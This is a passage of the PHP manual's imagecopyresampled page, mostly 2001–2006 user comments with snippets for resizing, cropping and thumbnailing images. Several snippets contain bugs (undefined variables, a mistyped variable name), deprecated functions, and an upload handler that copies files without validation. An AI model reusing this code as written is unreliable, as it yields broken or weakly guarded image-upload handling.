    $white = ImageColorAllocate($im_out, 0, 0, 0);

    #Add note(simple: site address)
    ImageString($im_out,2,$X_var,$Y_var,$str,$white);

    ImageJPEG($im_out, $save_to, $quality); // Create image
    ImageDestroy($im_in);
    ImageDestroy($im_out);
}

// $str -  Inscription on the image;
areddan at silverarm dot ie 29-Jan-2006 06:30
$file =$_FILES[userfile];
//name of the input form file upload element is userfile

//$to_file is a full path including filename
//to where you want the thumnail to be copied to .
//example /usr/www/users/www/images/thumbs/thumb1.jpg

copy($file[tmp_name],$to_file) or die("The file $file[tmp_name] you are trying to upload couldn't be copied to $to_file");

//Extra stuff to put into the output to allow for jpeg / png or gif

//replace line: imagegif($thumb2, $fileout); //write to file with the following

switch($format)
       {
           case 'image/jpeg':
           imagejpeg($thumb2, $fileout,90); //write to file
           break;
           case 'image/gif';
           imagegif($thumb2, $fileout); //write to file
           break;
           case 'image/png':
           imagepng($thumb2, $fileout); //write to file
           break;
       }
areddan at silverarm dot ie 27-Jan-2006 12:40
<?php
// The file
$filein = ''; // File in
$fileout = 'ttt.gif'; // Fileout - optional

$imagethumbsize_w = 100; // thumbnail size (area cropped in middle of image)
$imagethumbsize_h = 75; // thumbnail size (area cropped in middle of image)
resize_then_crop( $filein,$fileout,$imagethumbsize_w,
$imagethumbsize_h,/*rgb*/"255","255","255");

//Author Alan Reddan Silverarm Solutions
//Date 27/01/2005
//Function that works well with images.
//It takes the image and reduces its size to best fit. i.e If you have an image
//that is 200 X 100 and you want a thumbnail of 75 X 50,
//it first resizes the image to 100 X 50
//and then takes out a portion 75 X 50 from then center of the input image.
//So loads of image information is retained.
//The corollary also holds if your input image is 100 X 200
//it first resizes image to 75 X 150 and then takes out a
//portion 75 X 75 from the centre
// The advantage here is that function decides on whether
//resize is by width or height itself.
//it also decides whether to use the height or the width as the base start point
//in the case that athumbnail is rectangular

function resize_then_crop( $filein,$fileout,
$imagethumbsize_w,$imagethumbsize_h,$red,$green,$blue)
{

// Get new dimensions
list($width, $height) = getimagesize($filein);
$new_width = $width * $percent;
$new_height = $height * $percent;

   if(preg_match("/.jpg/i", "$filein"))
   {
       $format = 'image/jpeg';
   }
   if (preg_match("/.gif/i", "$filein"))
   {
       $format = 'image/gif';
   }
   if(preg_match("/.png/i", "$filein"))
   {
       $format = 'image/png';
   }

       switch($format)
       {
           case 'image/jpeg':
           $image = imagecreatefromjpeg($filein);
           break;
           case 'image/gif';
           $image = imagecreatefromgif($filein);
           break;
           case 'image/png':
           $image = imagecreatefrompng($filein);
           break;
       }

$width = $imagethumbsize_w ;
$height = $imagethumbsize_h ;
list($width_orig, $height_orig) = getimagesize($filein);

if ($width_orig < $height_orig) {
  $height = ($imagethumbsize_w / $width_orig) * $height_orig;
} else {
    $width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

if ($width < $imagethumbsize_w)
//if the width is smaller than supplied thumbnail size
{
$width = $imagethumbsize_w;
$height = ($imagethumbsize_w/ $width_orig) * $height_orig;;
}

if ($height < $imagethumbsize_h)
//if the height is smaller than supplied thumbnail size
{
$height = $imagethumbsize_h;
$width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

$thumb = imagecreatetruecolor($width , $height);
$bgcolor = imagecolorallocate($thumb, $red, $green, $blue);
ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor);
imagealphablending($thumb, true);

imagecopyresampled($thumb, $image, 0, 0, 0, 0,
$width, $height, $width_orig, $height_orig);
$thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h);
// true color for best quality
$bgcolor = imagecolorallocate($thumb2, $red, $green, $blue);
ImageFilledRectangle($thumb2, 0, 0,
$imagethumbsize_w , $imagethumbsize_h , $white);
imagealphablending($thumb2, true);

$w1 =($width/2) - ($imagethumbsize_w/2);
$h1 = ($height/2) - ($imagethumbsize_h/2);

imagecopyresampled($thumb2, $thumb, 0,0, $w1, $h1,
$imagethumbsize_w , $imagethumbsize_h ,$imagethumbsize_w, $imagethumbsize_h);

// Output
//header('Content-type: image/gif');
//imagegif($thumb); //output to browser first image when testing

if ($fileout !="")imagegif($thumb2, $fileout); //write to file
header('Content-type: image/gif');
imagegif($thumb2); //output to browser
}
?>
com.hotmail@backglancer 07-Jan-2006 10:32
wrote this for a game I was helping develop:

Auto Tile Maker -- takes the image and cuts it in several smaller pieces, deleting the original... i mean.. this is just for those of you who are lazy, coz the script is simple..
modify at will.

<?
// $newfile is the full address of your newly uploaded file
// $floc = is the location of that file ending with /
// $t is the $_FILES['blah'] of your uploaded file.
// whatever... you guys understand enough to modify this code

$size = getimagesize($newfile);
list($w, $h) = $size;

if ($h > 20 || $w > 20) {
    $type = array_pop($size);
    switch ($type) {
        case 'image/jpeg' : $src_image = imagecreatefromjpeg($newfile); break;
        // insert more cases here :) i'm lazy too
        default : echo 'not an image!'; return;
    }

    $i = 0;
    for ($y = 0; $y < $h; $y += 20) {
    for ($x = 0; $x < $w; $x += 20) {
        $i++; // new file names will be like 1monkey.gif 2monkey.gif etc..
        $new_image = imagecreatetruecolor(20, 20);

        imagecopyresampled ($new_image, $src_image,
            0, 0,
            $x, $y,
            20, 20,
            20, 20
            );
        imagegif($new_image, $floc.$i.$t['name']);
        imagedestroy($new_image);

    } // x
    } // y
    unlink($newfile);
}
?>
smrtak at 4um dot cz 06-Dec-2005 11:48
class cobrazek
    {
        function resizeMaxJpeg($file,$mx,$my,$q=85)
        {
            $dst = cobrazek::resizeMax(imagecreatefromjpeg($file),$mx,$my);
            if(!$dst)
                return false;
            if(!imagejpeg($dst,$file,$q))
                return false;
            return true;
        }
        function resizeMax($src,$mx,$my)
        {
            //zjisti velikost
            $sx = imagesx($src);
            $sy = imagesy($src);
            //spocitej cilovou velikost
            $v = min(min($mx,$sx)/$sx,min($my,$sy)/$sy);
            $dx = $v*$sx;
            $dy = $v*$sy;
            $dst = imagecreatetruecolor($dx,$dy);
            //resample
            imagecopyresampled ($dst,$src,0,0,0,0,$dx,$dy,$sx,$sy);
            //vystup
            return $dst;
        }
    }
pike-php at kw dot nl 14-Nov-2005 02:21
If you have a bug that imagecopyresampled is completely ignoring srcX and srcY (a known and closed bug - http://bugs.php.net/bug.php?id=12780)  you can ofcourse apply two operations to do the same. E.g., instead of saying

ImageCopyResampled($dst_img, $src_img, 0, 0, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH);

you can say

ImageCopyResampled($tmp_img, $src_img, -$srcX, -$srcY, "BUG","BUG", $orgW, $orgH, $orgW, $orgH);
ImageCopyResampled($dst_img, $tmp_img, 0, 0, "BUG","BUG", $dstW, $dstH, $srcW, $srcH);

which has the same effect but is twice as slow and blurry. you may replace "BUG","BUG" with anything you like without sideeffects :)

$2c,
*pike
George_A 07-Nov-2005 02:49
For the best image quality...
How to get new proportional size of the image if the desible size of source image is approximatly equal to needed size. If needed size differs from source size on less than the user factor then transformation isn`t apply.

/**********************************************/
function imageCopyResize($image, $xSize, $ySize, $needed_user_factor, $new_image_path = "")
{
 //example: neded_user_factor = 0.2
 if($xSize == 0 || $ySize == 0)
    return array("At the leat one pair of size is 0",0,0);

 $size = getImageSize($image);
 $width = $size[0];
 $height = $size[1];
 $x_ratio = $xSize / $size[0];
 $y_ratio = $ySize / $size[1];
 if($x_ratio > $y_ratio)    $res_ratio = $y_ratio;
 else $res_ratio = $x_ratio;
 if(abs($res_ratio - 1) > $needed_user_factor)
    {
     $width = ceil($width * $res_ratio);
     $height = ceil($height * $res_ratio);
    }
 $fileinfo = pathinfo($image);
 $file_type = strtolower($fileinfo["extension"]);
 if($file_type == "jpg" || $file_type == "jpeg")
    $src = ImageCreateFromJpeg($image);
 else if($file_type == "gif")
    $src = ImageCreateFromGif($image);
 else if($file_type == "png")
    $src = ImageCreateFromPNG($image);
 else if($file_type == "bmp")
    $src = ImageCreateFromBmp($image);    //Thanks Previous Coder
 else
   return array("Unknown image format: ".$file_type, 0, 0);
 $output_path = ($new_image_path == "")?$image:$new_image_path;
 $dst = ImageCreateTrueColor($width, $height);
 ImageCopyResized($dst, $src, 0,0,0,0,$width, $height, $size[0], $size[1]);
 if($file_type == "jpg" || $file_type == "jpeg")
    ImageJpeg($dst, $output_path, 100);
 else if($file_type == "gif" || $file_type == "bmp")
     ImageGif($dst, $output_path);
 else if($file_type == "png")
    ImagePNG($dst, $output_path);

 ImageDestroy($src);
 ImageDestroy($dst);
 return array("", $width, $height);
}
/**********************************************/
erik at phpcastle dot com 05-Nov-2005 02:21
I've changed the script from info at lontronics dot nl a little bit so the thumbnail is not cutted off when this is not necessary.

<?php
// Resize function

// $pictype is optional. When empty the image will not be cutted off
function resize($filename, $dest, $width, $height, $pictype = "")
{
  $format = strtolower(substr(strrchr($filename,"."),1));
  switch($format)
  {
    case 'gif' :
    $type ="gif";
    $img = imagecreatefromgif($filename);
    break;
    case 'png' :
    $type ="png";
    $img = imagecreatefrompng($filename);
    break;
    case 'jpg' :
    $type ="jpg";
    $img = imagecreatefromjpeg($filename);
    break;
    case 'jpeg' :
    $type ="jpg";
    $img = imagecreatefromjpeg($filename);
    break;
    default :
    die ("ERROR; UNSUPPORTED IMAGE TYPE");
    break;
  }

  list($org_width, $org_height) = getimagesize($filename);
  $xoffset = 0;
  $yoffset = 0;
  if ($pictype == "thumb") // To minimize destortion
  {
    if ($org_width / $width > $org_height/ $height)
    {
      $xtmp = $org_width;
      $xratio = 1-((($org_width/$org_height)-($width/$height))/2);
      $org_width = $org_width * $xratio;
      $xoffset = ($xtmp - $org_width)/2;
    }
    elseif ($org_height/ $height > $org_width / $width)
    {
      $ytmp = $org_height;
      $yratio = 1-((($width/$height)-($org_width/$org_height))/2);
      $org_height = $org_height * $yratio;
      $yoffset = ($ytmp - $org_height)/2;
    }
  //Added this else part -------------
  } else {
      $xtmp = $org_width/$width;
      $new_width = $width;
      $new_height = $org_height/$xtmp;
      if ($new_height > $height){
        $ytmp = $org_height/$height;
        $new_height = $height;
        $new_width = $org_width/$ytmp;
      }
      $width = round($new_width);
      $height = round($new_height);
  }

  $img_n=imagecreatetruecolor ($width, $height);
  imagecopyresampled($img_n, $img, 0, 0, $xoffset, $yoffset, $width, $height, $org_width, $org_height);

  if($type=="gif")
  {
    imagegif($img_n, $dest);
  }
  elseif($type=="jpg")
  {
    imagejpeg($img_n, $dest);
  }
  elseif($type=="png")
  {
    imagepng($img_n, $dest);
  }
  elseif($type=="bmp")
  {
    imagewbmp($img_n, $dest);
  }
  Return true;
}
?>
info at lontronics dot nl 28-Oct-2005 03:08
For an internet photoalbum I was looking for a script which I could simply drop in a directory with images and which would do the rest.
Therefor I am using the following resize script now. I have made the little thumb-part because I want to have all the same size thumbnails, but with as less as possible distortion. Therefor, images with other dimensions are resized, but also cut off a little.

Als $pictype = thumb, the extra dimension calculations are used
$width and $height are the new dimensions of $filename, the image
$dest is the directory where the new image must be copied in.

The script:

// Resize function
function resize($filename, $dest, $width, $height, $pictype)
{
    $format = strtolower(substr(strrchr($filename,"."),1));
    switch($format)
    {
        case 'gif' :
            $type ="gif";
            $img = imagecreatefromgif($filename);
            break;
        case 'png' :
            $type ="png";
            $img = imagecreatefrompng($filename);
            break;
        case 'jpg' :
            $type ="jpg";
            $img = imagecreatefromjpeg($filename);
            break;
        case 'jpeg' :
            $type ="jpg";
            $img = imagecreatefromjpeg($filename);
            break;
        default :
            die ("ERROR; UNSUPPORTED IMAGE TYPE");
            break;
    }

    list($org_width, $org_height) = getimagesize($filename);
    $xoffset = 0;
    $yoffset = 0;
    if ($pictype == "thumb") // To minimize destortion
    {
        if ($org_width / $width > $org_height/ $height)
        {
            $xtmp = $org_width;
            $xratio = 1-((($org_width/$org_height)-($width/$height))/2);
            $org_width = $org_width * $xratio;
            $xoffset = ($xtmp - $org_width)/2;
        }
        elseif ($org_height/ $height > $org_width / $width)
        {
            $ytmp = $org_height;
            $yratio = 1-((($width/$height)-($org_width/$org_height))/2);
            $org_height = $org_height * $yratio;
            $yoffset = ($ytmp - $org_height)/2;
        }
    }

    $img_n=imagecreatetruecolor ($width, $height);
    imagecopyresampled($img_n, $img, 0, 0, $xoffset, $yoffset, $width, $height, $org_width, $org_height);

    if($type=="gif")
    {
        imagegif($img_n, $dest);
    }
    elseif($type=="jpg")
    {
        imagejpeg($img_n, $dest);
    }
    elseif($type=="png")
    {
        imagepng($img_n, $dest);
    }
    elseif($type=="bmp")
    {
        imagewbmp($img_n, $dest);
    }
    Return true;
}
Nicolas dot Grasset at notup2u dot net 20-Oct-2005 02:33
If you are looking for a function that can resample your photos to a given size, no matter its original size and/or ratio, here it is. And to make more fun (beacause life has to be fun), you can even chose a border size for the picture!

$position can either be topleft, topright, bottomleft, bottomright or center.

<?php

function imagecopyresampledselection($filename, $desired_width, $desired_height, $bordersize, $position)
{
    // Get new dimensions
    list($width, $height) = getimagesize($filename);
    if($desired_width/$desired_height > $width/$height):
        $new_width = $desired_width;
        $new_height = $height * ($desired_width / $width);
    else:
        $new_width = $width * ($desired_height / $height);
        $new_height = $desired_height;
    endif;

    // Resize
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image_f = imagecreatetruecolor($desired_width, $desired_height);
    $image = imagecreatefromjpeg($filename);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    // Adjust position
    switch($position)
    {
        case("topleft"):
            $x = $bordersize;
            $y = $bordersize;
            break;

        case("topright"):
            $x = $new_width - $desired_width + $bordersize;
            $y = $bordersize;
            break;

        case("bottomleft"):
            $x = $bordersize;
            $y = $new_height - $desired_height + $bordersize;
            break;

        case("bottomright"):
            $x = $new_width - $desired_width + $bordersize;
            $y = $new_height - $desired_height + $bordersize;
            break;

        case("center"):
            $x = ($new_width - $desired_width) / 2 + $bordersize;
            $y = ($new_height - $desired_height) / 2 + $bordersize;
            break;
    }

    // Resample with 1px border
    imagecopyresampled($image_f, $image_p, $bordersize, $bordersize, $x, $y,     $desired_width    - 2 * $bordersize,
                                                                                $desired_height    - 2 * $bordersize,
                                                                                $desired_width    - 2 * $bordersize,
                                                                                $desired_height    - 2 * $bordersize);

    return $image_f;
}

$image_f = imagecopyresampledselection('test.jpg', 571, 319, 1, "center");
header('Content-type: image/jpeg');
imagejpeg($image_f, null, 100);

?>

To see a result, just browse http://www.notup2u.net/v8

Nicolas Grasset
11-Aug-2005 05:19
Here is my own custom utility which I call "Thumbnailer" (I know it is cheesy).
It's rather short, and it will take JPEG (you can change that easily), and
format it to a specified output width and height as a PNG
(or whatever else you choose):
<?php
//Dimensions
$outWidth=100; $outHeight=75;
//Do it
$imgSrc=imagecreatefromjpeg("[source]");
$srcWidth=imagesx($imgSrc);
$srcHeight=imagesy($imgSrc);
//Make thumbnails
$imgOut=imagecreatetruecolor($outWidth,$outHeight);
imagerectangle($imgOut,0,0,$outWidth,$outHeight,
 imagecolorallocate($imgOut,0,0,0));
//Copy them proportionatly
$dx=0; $dy=0; $dw=$outWidth; $dh=$outHeight;
if ($outWidth*$srcHeight!=$outHeight*$srcWidth) { //Non-proportional, cut-off
 //Which dimensions is larger
 if ($srcWidth>$srcHeight) { //Empty space on top and bottom
  $dw=$outWidth;
  $dh=($dw*$srcHeight)/$srcWidth;
  $dy=($outHeight-$dh)/2;
 }
 else { //Empty space on left and right
  $dh=$outHeight;
  $dw=($dh*$srcWidth)/$srcHeight;
  $dx=($outWidth-$dw)/2;
 }
}
imagecopyresampled($imgOut,$imgSrc,$dx,$dy,0,0,
 $dw,$dh,$srcWidth,$srcHeight); //imagecopyresized for lower quality
//Create the thumbnail and destroy everything else
imagepng($imgOut,"[out]");
echo "Image created successfully: $outWidth x $outHeight, ".round(filesize("[source]")/1024)." KB<br>";
imagedestroy($imgSrc);
imagedestroy($imgOut);
?>
I just use this as a loop to create thumbnails for a series of ordered images.
phpman at paodj dot net 19-Jul-2005 03:27
<?php

function img_resize($path,$w=0,$h=0,$quality=100,$save=''){

  $image_data=@getimagesize($path);

  $image_type=$image_data[2];
  $gd_ext=array('','jpg','gif');
  if($image_type!=1&&$image_type!=2) return false;
  if($save=='') header('Content-type: '.$image_data['mime']); else $save=eregi_replace('%ext',$gd_ext[$image_type],$save);

  if($w!=0){
    $rapporto=$image_data[0]/$w;
    if($h!=0){
      if($image_data[1]/$rapporto>$h) $rapporto=$image_data[1]/$h;
    }
  }elseif($h!=0){
    $tmp_h=$image_data[1]/$h;
  }else{
    return false;
  }

  $thumb_w=$image_data[0]/$rapporto;
  $thumb_h=$image_data[1]/$rapporto;

  if($image_type==1) $img_src=@imagecreatefromgif($path);
  elseif($image_type==2) $img_src=@imagecreatefromjpeg($path);

  $img_thumb=@imagecreatetruecolor($thumb_w,$thumb_h);
  $result=@imagecopyresampled($img_thumb,$img_src,
0,0,0,0,$thumb_w,$thumb_h,$image_data[0],$image_data[1]);
  if(!$img_src||!$img_thumb||!$result) return false;

  if($image_type==1) $result=@imagegif($img_thumb,$save);
  elseif($image_type==2) $result=@imagejpeg($img_thumb,$save,$quality);

  return $result;
}

?>

This script resize images. It can also make thumbs. It use the resample of images for hight quality result.

It can show the result or save it (if $save isn't null).
It respect the width and/or the height of image.
It can replace the destination file extestion dinamically (filename.%ext)
Support gif & jpg.

Return false if something goes wrong.
04-Jul-2005 05:46
It should be noted that the imagecopyresampled() function is much more blurry than Photoshop CS's default bicubic funtion. And looks similar to a blury version of Photoshop's bilinear function. The documentation fails to note which algorithm is used in resampling.
Pie pie 25-May-2005 05:21
Confirming on what fluffle said, and to say his code will also crop and resize an image what is smaller than 100x100 pixels if you want. This is important because it means your images no matter how you decide to rezise them, will maintain their aspect ratios and with a minimum amount of image loss.

    //Get file type
    $mime = $orig_image_mimetype;
    $type = substr($mime, strpos($mime,'/')+1);
    switch($type) {
        case 'jpeg':
        case 'pjpeg':
            $big = imagecreatefromjpeg($file);
            break;
        case 'png':
        case 'x-png':
            $big = imagecreatefrompng($file);
             break;
        case 'gif':
            $big = imagecreatefromgif($file);
            break;
        default:
            return FALSE;
            break;
    }

The above code is what I use to support multiple file type resizing. I then use the same thing again when it's time to output the image using $result = imagejpeg($thumb,'',80), imagepng($thumb), and imagegif($thumb).
fluffle <at> gmail <dot> com 21-May-2005 01:35
Just to clarify that src_w and src_h do not necessarily need to be the source image width and height, as they specify the size of the rectangle cropped from the source picture, with its top left corner situated at (src_x, src_y).

For example, the code below crops a jpeg image to be square, with the square situated in the centre of the original image, and then resizes it to a 100x100 thumbnail.

list($ow, $oh) = getimagesize($image_filename);
$big = imagecreatefromjpeg($image_filename);
$thumb = imagecreatetruecolor(100,100);
if ($ow > $oh) {
    $off_w = ($ow-$oh)/2;
    $off_h = 0;
    $ow = $oh;
} elseif ($oh > $ow) {
    $off_w = 0;
    $off_h = ($oh-$ow)/2;
    $oh = $ow;
} else {
    $off_w = 0;
    $off_h = 0;
}
imagecopyresampled($thumb, $big, 0, 0, $off_w, $off_h, 100, 100, $ow, $oh);
carnivorous_winds_fr AT yahoo DOT fr 18-May-2005 10:47
I tried this code from a previous post.

<?
...
         $t_im = imageCreateTrueColor($t_wd,$t_ht);
         imageAntiAlias($t_im,true);
         imagealphablending($t_im, false);
         imagesavealpha($t_im,true);
         $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 0);
         for($x=0;$x<$t_wd;$x++) {
           for($y=0;$y<$t_ht;$y++) {
             imageSetPixel( $t_im, $x, $y, $transparent );
           }
         }
         imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
         imagePNG($t_im, $image_name);
...
?>

It seems that it is not working correctly. In my test the source picture in ImageCopyResampled() is smaller than the destination picture $t_im, the remaining part is white !

I changed transparent alpha channel to 127, and I tried to replace loops with imagefilledrectangle().

It works fine and these resource greedy loops are removed.

Here is the code with my change.

<?
...
         $t_im = imageCreateTrueColor($t_wd,$t_ht);
         imageAntiAlias($t_im,true);
         imagealphablending($t_im, false);
         imagesavealpha($t_im,true);
         $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 127);
         imagefilledrectangle($t_img, 0, 0, $t_wd, $t_ht, $transparent);
         imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
         imagePNG($t_im, $image_name);
...
?>
del at kartoon dot net 05-May-2005 01:38
This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
djneoform at gmail dot com 04-Mar-2005 06:21
Here's a function i made that will force a given set of constraints on an image (usrfull if you want to make thumbnails that are all the same size) while keeping aspect ratio.

It resizes, then crops the extra off the top or bottom.

function forceConstraints($srcFile, $srcType, $dstType, $dstWidth, $dstHeight, $dstPath)
{
    if ($srcType == "image/jpeg")
        $handle = @imagecreatefromjpeg($srcFile);
    else if ($srcType == "image/png")
        $handle = @imagecreatefrompng($srcFile);
    else if ($srcType == "image/gif")
        $handle = @imagecreatefromgif($srcFile);
    else
        return false;

    if (!$handle)
        return false;

    $srcWidth  = @imagesx($handle);
    $srcHeight = @imagesy($handle);

    if ($srcWidth >= $dstWidth && $srcHeight >= $dstHeight)
    {
        $newHandle = @imagecreatetruecolor($dstWidth, $dstHeight);
        if (!$newHandle)
            return false;

        if($srcHeight < $srcWidth)
        {
            $ratio = (double)($srcHeight / $dstHeight);

            $cpyWidth = round($dstWidth * $ratio);
            if ($cpyWidth > $srcWidth)
            {
                $ratio = (double)($srcWidth / $dstWidth);
                $cpyWidth = $srcWidth;
                $cpyHeight = round($dstHeight * $ratio);
                $xOffset = 0;
                $yOffset = round(($srcHeight - $cpyHeight) / 2);
            } else {
                $cpyHeight = $srcHeight;
                $xOffset = round(($srcWidth - $cpyWidth) / 2);
                $yOffset = 0;
            }

        } else {
            $ratio = (double)($srcWidth / $dstWidth);

            $cpyHeight = round($dstHeight * $ratio);
            if ($cpyHeight > $srcHeight)
            {
                $ratio = (double)($srcHeight / $dstHeight);
                $cpyHeight = $srcHeight;
                $cpyWidth = round($dstWidth * $ratio);
                $xOffset = round(($srcWidth - $cpyWidth) / 2);
                $yOffset = 0;
            } else {
                $cpyWidth = $srcWidth;
                $xOffset = 0;
                $yOffset = round(($srcHeight - $cpyHeight) / 2);
            }
        }

        if (!@imagecopyresampled($newHandle, $handle, 0, 0, $xOffset, $yOffset, $dstWidth, $dstHeight, $cpyWidth, $cpyHeight))
            return false;
        @imagedestroy($handle);

        if ($dstType == "png")
            @imagepng($newHandle, $dstPath.".png");
        else if ($dstType == "jpg")
            @imagejpeg($newHandle, $dstPath.".jpg", 90);
        else if ($dstType == "gif")
            @imagegif($newHandle, $dstPath.".gif");
        else
            return false;
        @imagedestroy($newHandle);
        return true;

    } else {
        return "Sorry, that image is too small. The image must be at least ".$dstWidth."x".$dstHeight." pixels in size.";
    }
}
afrowuk at tiscali dot co dot uk 02-Jan-2005 07:17
This simple function resizes a JPG image file giving just a maximum width, and resizes keeping the aspect ratio. This is useful if you have to resize a JPG image that must fit the width of i.e. a div element, but doesn't have to have a maximum height.
<?
function resizeJPG($jpgFile, $width) {

    // Get new dimensions
    list($width_orig, $height_orig) = getimagesize($jpgFile);
    $height = (int) (($width / $width_orig) * $height_orig);

    // Resample
    $image_p = imagecreatetruecolor($width, $height);
    $image = imagecreatefromjpeg($jpgFile);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

    // Output
    imagejpeg($image_p, $jpgFile, 100);

}
?>

-Stu
stemplar444 at yahoo dot com 11-Aug-2004 10:57
Two comments regarding imageCopyResampleBicubic() published here.

Quality:
More grainy than imagecopyresampled(). Not very good for bigger destination images, I think.

Speed:
In my tests, it was only faster if destination size was smaller than ~200x200 pixel. The function becomes slower and slower the bigger the destination image gets. In contrast, imagecopyresampled() finished at the same speed, no matter how big the destination was. My source image resoloution ~ 1500x2000 pixel.
ron at korving dot demon dot nl 07-Aug-2004 02:25
This Bicubic resample algorithm is based on the one Scott posted earlier, only this one is about 50% faster for truecolor images and about 10% faster for palette images.

<?

function imageCopyResampleBicubic($dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)
{
  $scaleX = ($src_w - 1) / $dst_w;
  $scaleY = ($src_h - 1) / $dst_h;

  $scaleX2 = $scaleX / 2.0;
  $scaleY2 = $scaleY / 2.0;

  $tc = imageistruecolor($src_img);

  for ($y = $src_y; $y < $src_y + $dst_h; $y++)
  {
    $sY   = $y * $scaleY;
    $siY  = (int) $sY;
    $siY2 = (int) $sY + $scaleY2;

    for ($x = $src_x; $x < $src_x + $dst_w; $x++)
    {
      $sX   = $x * $scaleX;
      $siX  = (int) $sX;
      $siX2 = (int) $sX + $scaleX2;

      if ($tc)
      {
        $c1 = imagecolorat($src_img, $siX, $siY2);
        $c2 = imagecolorat($src_img, $siX, $siY);
        $c3 = imagecolorat($src_img, $siX2, $siY2);
        $c4 = imagecolorat($src_img, $siX2, $siY);

        $r = (($c1 + $c2 + $c3 + $c4) >> 2) & 0xFF0000;
        $g = ((($c1 & 0xFF00) + ($c2 & 0xFF00) + ($c3 & 0xFF00) + ($c4 & 0xFF00)) >> 2) & 0xFF00;
        $b = ((($c1 & 0xFF)   + ($c2 & 0xFF)   + ($c3 & 0xFF)   + ($c4 & 0xFF))   >> 2);

        imagesetpixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b);
      }
      else
      {
        $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
        $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
        $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
        $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

        $r = ($c1['red']   + $c2['red']   + $c3['red']   + $c4['red']  ) << 14;
        $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
        $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;

        imagesetpixel($dst_img, $dst_x + $x - $src_x, $dst_y + $y - $src_y, $r+$g+$b);
      }
    }
  }
}

?>
15-Jul-2004 05:09
In add to all the posts that describes how to create thumbnails:

If you are trying to resample a png image with its transparency you need to do this workaround:

<?
...
          $t_im = imageCreateTrueColor($t_wd,$t_ht);
          imageAntiAlias($t_im,true);
          imagealphablending($t_im, false);
          imagesavealpha($t_im,true);
          $transparent = imagecolorallocatealpha($t_im, 255, 255, 255, 0);
          for($x=0;$x<$t_wd;$x++) {
            for($y=0;$y<$t_ht;$y++) {
              imageSetPixel( $t_im, $x, $y, $transparent );
            }
          }
          imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);
          imagePNG($t_im, $image_name);
...
?>

The alphablending must be off so the imagesavealpha can be true.

The double FORs is need to fix the problem with imagefill function that not support colors with alpha setted.

It is TO SLOWLIER than imagefill, but do a nice work with static images.

Take a look and enjoy the nice result.

(this workaround needs the gd2 library)

[s]
Pigmeu
m.kumar [at] gmx.at 30-Aug-2001 09:10
For those who think that resampling loads the server too badly, have a look at this fine article over at zend:

http://www.zend.com/zend/art/scriptcaching.php

it describes how to create static html from scripts, however, this technique is pretty easily applicable to images.

I've written a short script to outline how to adapt my above mentioned article for caching of thumbnails. see:
http://tzu.nme.at/php/cache.phps
imagecopymergegray
imagecopyresized
GD and Image Functions


Copy and resize part of an image

imagecopyresampled
imagecreate
GD and Image Functions
PHP Manual

imagecopyresized

(PHP 4, PHP 5)

imagecopyresized — Copy and resize part of an image

Description

bool imagecopyresized ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y , int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )

imagecopyresized() copies a rectangular portion of one image to another image. dst_image is the destination image, src_image is the source image identifier.

In other words, imagecopyresized() will take an rectangular area from src_image of width src_w and height src_h at position (src_x,src_y) and place it in a rectangular area of dst_image of width dst_w and height dst_h at position (dst_x,dst_y).

If the source and destination coordinates and width and heights differ, appropriate stretching or shrinking of the image fragment will be performed. The coordinates refer to the upper left corner. This function can be used to copy regions within the same image (if dst_image is the same as src_image) but if the regions overlap the results will be unpredictable.

Parameters

dst_image

Destination image link resource.

src_image

Source image link resource.

dst_x

x-coordinate of destination point.

dst_y

y-coordinate of destination point.

src_x

x-coordinate of source point.

src_y

y-coordinate of source point.

dst_w

Destination width.

dst_h

Destination height.

src_w

Source width.

src_h

Source height.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Resizing an image

This example will display the image at half size.

<?php
// File and new size
$filename = 'test.jpg';
$percent = 0.5;

// Content type
header('Content-Type: image/jpeg');

// Get new sizes
list($width, $height) = getimagesize($filename);
$newwidth = $width * $percent;
$newheight = $height * $percent;

